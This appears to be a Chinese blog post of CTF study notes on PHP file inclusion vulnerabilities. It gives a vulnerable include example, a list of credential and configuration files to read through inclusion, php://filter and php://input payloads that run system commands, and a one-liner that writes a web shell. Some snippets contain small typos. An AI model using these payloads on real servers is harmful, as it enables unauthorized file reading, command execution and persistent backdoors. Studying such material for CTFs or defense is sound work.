文件包含漏洞

做ctf时,看到网页地址是xxxxx/index.php?file=show.php就想到了文件包含漏洞

总结

1, phpinfo.txt文件是什么?有什么用?

新建一个phpinfo.txt,然后新建一个shell.php,写入:

<?php
Include("phpinfo.txt");
?>
   

  访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。

2,远程包含漏洞

远程包含漏洞

前提:需要开启allow_url_fopen,默认关闭。
新建php.txt:

<?php
echo "hello world";
?>
新建index.php
<?php
Include($_GET['page']);
?>
访问http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world

3,文件包含利用

读取敏感信息

如:http://www.xxx.com/index.php?page=/etc/passwd
Windows:

c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini php配置文件
c:\windows\my.ini mysql配置文件
LINUX:
/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini PHP相关设置
/etc/httpd/conf/http.conf apache配置文件
/etc/my.cnf mysql配置文件
完整解释连接:https://thief.one/2017/04/10/2/
(1)php://filter    能够得到base64加密后的字符串
php://filter/read=convert.base64-encode/resourse=config.php
(2)php://input   可生成
构造?page=php://input,并提交<?php system('net user'); ?>
(3)如果提交<? fputs(fopen("shell.php","w"),"<?php eval($_POST['xxser']; ?>") ?>,将会在index.php目录下生成shell.php
posted @ 2019-04-03 20:57  A思  阅读(405)  评论(0编辑  收藏  举报